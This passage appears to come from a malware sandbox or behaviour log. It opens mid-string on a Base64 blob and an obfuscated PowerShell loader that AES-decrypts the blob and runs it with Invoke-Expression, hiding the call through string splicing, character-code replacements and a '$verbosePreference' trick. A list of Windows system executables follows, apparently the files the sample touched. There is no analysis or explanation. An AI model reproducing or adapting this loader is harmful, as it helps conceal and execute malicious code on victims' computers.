oc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe